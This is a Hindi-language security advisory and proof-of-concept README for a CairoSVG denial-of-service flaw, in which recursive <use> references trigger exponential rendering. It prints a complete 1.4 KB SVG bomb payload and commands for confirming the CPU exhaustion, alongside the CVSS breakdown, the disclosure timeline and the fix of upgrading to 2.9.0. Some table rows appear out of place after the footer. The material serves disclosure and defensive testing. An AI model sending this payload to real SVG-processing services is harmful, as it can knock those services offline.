
CVE-2026-31899: CairoSVG में पुनरावर्ती `<use>` एलिमेंट एम्प्लीफिकेशन के माध्यम से एक्सपोनेंशियल DoS (CVSS 7.5 High)
<use> एलिमेंट एम्प्लीफिकेशन के माध्यम से एक्सपोनेंशियल DoSकीवर्ड्स: CVE-2026-31899, CairoSVG, एक्सपोनेंशियल DoS, SVG बम, रिकर्सिव use एलिमेंट, डिनायल ऑफ सर्विस, XML एम्प्लीफिकेशन, Python SVG भेद्यता, CWE-400, अनियंत्रित संसाधन खपत, बिलियन लाफ्स SVG
CairoSVG एक्सपोनेंशियल डिनायल ऑफ सर्विस (CVE-2026-31899) — 1,411-बाइट का SVG पेलोड रिकर्सिव <use> एलिमेंट एम्प्लीफिकेशन के माध्यम से CPU को अनिश्चित काल के लिए 100% पर पिन कर देता है।
CairoSVG (~300K डाउनलोड/सप्ताह) एक व्यापक रूप से उपयोग किया जाने वाला Python SVG-से-PNG/PDF कनवर्टर है। cairosvg/defs.py में use() फ़ंक्शन बिना किसी डेप्थ या काउंट सीमा के <use> एलिमेंट्स को रिकर्सिव रूप से प्रोसेस करता है। नेस्टिंग के 5 स्तरों और प्रत्येक में 10 संदर्भों के साथ, एक छोटा SVG 10^5 = 100,000 रेंडर कॉल को ट्रिगर करता है — जो SVG "बिलियन लाफ्स" का एक रूप है।
खोजकर्ता: Kai Aizen — SnailSploit प्रकाशित: 13 मार्च, 2026 CVSS स्कोर: 7.5 (High) CWE: CWE-400 — अनियंत्रित संसाधन खपत पैकेज: CairoSVG (PyPI) हमले का प्रकार: एक्सपोनेंशियल डिनायल ऑफ सर्विस आवश्यक विशेषाधिकार: कोई नहीं (बिना प्रमाणीकरण)
cairosvg/defs.py में use() फ़ंक्शन (लगभग पंक्ति ~335) उन <use> एलिमेंट्स को रिकर्सिव रूप से रिज़ॉल्व करता है जो अन्य <use> एलिमेंट्स को संदर्भित करते हैं। कोई रिकर्सन डेप्थ सीमा और न ही कोई कुल एलिमेंट बजट है। एक हमलावर एक छोटा SVG तैयार कर सकता है जिसमें प्रत्येक परत पिछली परत को N बार संदर्भित करती है, जिससे O(depth) इनपुट से O(N^depth) रेंडरिंग कॉल उत्पन्न होती हैं।
भेद्यता निम्न कारणों से मौजूद है:
<use> एलिमेंट को उसके xlink:href टार्गेट को देखकर प्रोसेस करता है<use> एलिमेंट हैं, तो उन्हें रिकर्सिव रूप से विस्तारित किया जाता है5 स्तरों और 10 के ब्रांचिंग फैक्टर के साथ:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
कुल: 1,411-बाइट इनपुट से 111,111 रेंडर कॉल।
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
विधि 1 — कमांड लाइन:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
विधि 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
कोई भी सेवा जो SVG इनपुट स्वीकार करती है और प्रोसेसिंग के लिए CairoSVG का उपयोग करती है, संवेदनशील है:
| अटैक सतह | उदाहरण |
|---|---|
| थंबनेल जनरेशन | SVG अपलोड → सर्वर PNG में कनवर्ट करता है |
1.4KB पेलोड वाला एक एकल अनुरोध न्यूनतम मेमोरी खपत करते हुए प्रोसेसिंग थ्रेड को अनिश्चित काल के लिए पिन कर देगा (कोई OOM किल आपको बचाने के लिए नहीं)।
CairoSVG को संस्करण 2.9.0 या उससे ऊपर अपग्रेड करें:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| तिथि | घटना |
|---|---|
| 2026-03-09 | CVE आरक्षित |
| 2026-03-13 | सलाहकार प्रकाशित (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | फिक्स के साथ CairoSVG 2.9.0 जारी |
Kai Aizen (SnailSploit)
⚠️ अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। प्रूफ ऑफ कॉन्सेप्ट डिफेंडर्स को उनके जोखिम को मान्य करने में मदद करने के लिए प्रदान किया गया है। जिम्मेदारी से उपयोग करें।
इस प्रोजेक्ट का पूरा विवरण, कार्यप्रणाली और संबंधित शोध यहाँ उपलब्ध है:
Kai Aizen द्वारा निर्मित — स्वतंत्र आक्रामक सुरक्षा शोधकर्ता।
snailsploit.com · शोध · फ्रेमवर्क · GitHub · LinkedIn · ResearchGate · X/Twitter
वही हमला। अलग सब्सट्रेट।
| PDF जनरेशन |
| दस्तावेज़ में एम्बेडेड SVG → CairoSVG रेंडर करता है |
| अवतार/छवि प्रोसेसिंग | उपयोगकर्ता द्वारा अपलोड किए गए SVG प्रोफ़ाइल चित्र |
| रिपोर्ट रेंडरिंग | स्वचालित रिपोर्टों में SVG चार्ट |
| CI/CD पाइपलाइन | बिल्ड के दौरान प्रोसेस किए गए SVG एसेट्स |
| मेट्रिक | मान |
|---|
| अटैक वेक्टर | नेटवर्क (AV:N) |
| अटैक जटिलता | निम्न (AC:L) |
| आवश्यक विशेषाधिकार | कोई नहीं (PR:N) |
| उपयोगकर्ता सहभागिता | कोई नहीं (UI:N) |
| दायरा | अपरिवर्तित (S:U) |
| गोपनीयता | कोई नहीं (C:N) |
| अखंडता | कोई नहीं (I:N) |
| उपलब्धता | उच्च (A:H) |